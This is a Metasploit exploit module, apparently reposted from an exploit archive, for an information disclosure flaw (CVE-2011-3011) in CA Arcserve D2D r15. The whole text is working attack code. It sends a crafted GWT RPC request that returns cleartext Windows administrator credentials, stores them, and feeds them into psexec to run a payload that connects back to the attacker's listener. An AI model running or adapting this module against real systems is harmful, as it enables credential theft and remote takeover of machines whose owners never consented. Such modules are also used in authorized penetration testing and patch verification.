CA Arcserve D2D – GWT RPC Credential Information Disclosure (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'CA Arcserve D2D GWT RPC Credential Information Disclosure', 'Description' => %q{ This module exploits an information disclosure vulnerability in the CA Arcserve D2D r15 web server. The information disclosure can be triggered by sending a specially crafted RPC request to the homepage servlet. This causes CA Arcserve to disclosure the username and password in cleartext used for authentication. This username and password pair are Windows credentials with Administrator access. }, 'Author' => [ 'bannedit', # metasploit module 'rgod', # original public exploit ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2011-3011' ], [ 'OSVDB', '74162' ], [ 'EDB', '17574' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Privileged' => true, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x0d\x0a" }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], ], 'DisclosureDate' => 'Jul 25 2011', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8014), ], self.class ) end def report_cred(opts) service_data = { address: opts[:ip], port: opts[:port], service_name: opts[:service_name], protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { module_fullname: fullname, post_reference_name: self.refname, private_data: opts[:password], origin_type: :service, private_type: :password, username: opts[:user] }.merge(service_data) login_data = { core: create_credential(credential_data), status: opts[:status], last_attempted_at: DateTime.now }.merge(service_data) create_credential_login(login_data) end def exploit print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") data = "5|0|4|" data << "http://#{datastore['RHOST']}:#{datastore['RPORT']}" data << "/contents/" data << "|2C6B33BED38F825C48AE73C093241510|" data << "com.ca.arcflash.ui.client.homepage.HomepageService" data << "|getLocalHost|1|2|3|4|0|" cookie = "donotshowgettingstarted=%7B%22state%22%3Atrue%7D" res = send_request_raw({ 'uri' => '/contents/service/homepage', 'version' => '1.1', 'method' => 'POST', 'cookie' => cookie, 'data' => data, 'headers' => { 'Content-Type' => "text/x-gwt-rpc; charset=utf-8", 'Content-Length' => data.length } }, 5) if not res fail_with(Failure::NotFound, 'The server did not respond to our request') end resp = res.to_s.split(',') user_index = resp.index("\"user\"") pass_index = resp.index("\"password\"") if user_index.nil? and pass_index.nil? # Not a vulnerable server (blank user/pass doesn't help us) fail_with(Failure::NotFound, 'The server did not return credentials') end user = resp[user_index+1].gsub(/\"/, "") pass = "" if pass_index pass = resp[pass_index+1].gsub(/\"/, "") end srvc = { :host => datastore['RHOST'], :port => datastore['RPORT'], :proto => 'tcp', :name => 'http', :info => res.headers['Server'] || "" } report_service(srvc) if user.nil? or pass.nil? print_error("Failed to collect the username and password") return end print_good("Collected credentials User: '#{user}' Password: '#{pass}'") # try psexec on the remote host psexec = framework.exploits.create("windows/smb/psexec") psexec.register_parent(self) psexec.datastore['PAYLOAD'] = self.datastore['PAYLOAD'] if self.datastore['LHOST'] and self.datastore['LPORT'] psexec.datastore['LHOST'] = self.datastore['LHOST'] psexec.datastore['LPORT'] = self.datastore['LPORT'] end psexec.datastore['RHOST'] = self.datastore['RHOST'] psexec.datastore['DisablePayloadHandler'] = true psexec.datastore['SMBPass'] = pass psexec.datastore['SMBUser'] = user print_status("Attempting to login via windows/smb/psexec") # this is kind of nasty would be better to split psexec code out to a mixin (on the TODO List) begin psexec.exploit_simple( 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, 'Payload' => psexec.datastore['PAYLOAD'], 'RunAsJob' => true ) rescue report_cred( ip: datastore['RHOST'], port: 445, service_name: 'smb', user: user, password: pass, status: Metasploit::Model::Login::Status::INCORRECT ) print_status("Login attempt using windows/smb/psexec failed") print_status("Credentials have been stored and may be useful for authentication against other services.") # report the auth return end # report the auth report_cred( ip: datastore['RHOST'], port: 445, service_name: 'smb', user: user, password: pass, status: Metasploit::Model::Login::Status::SUCCESSFUL ) handler end end |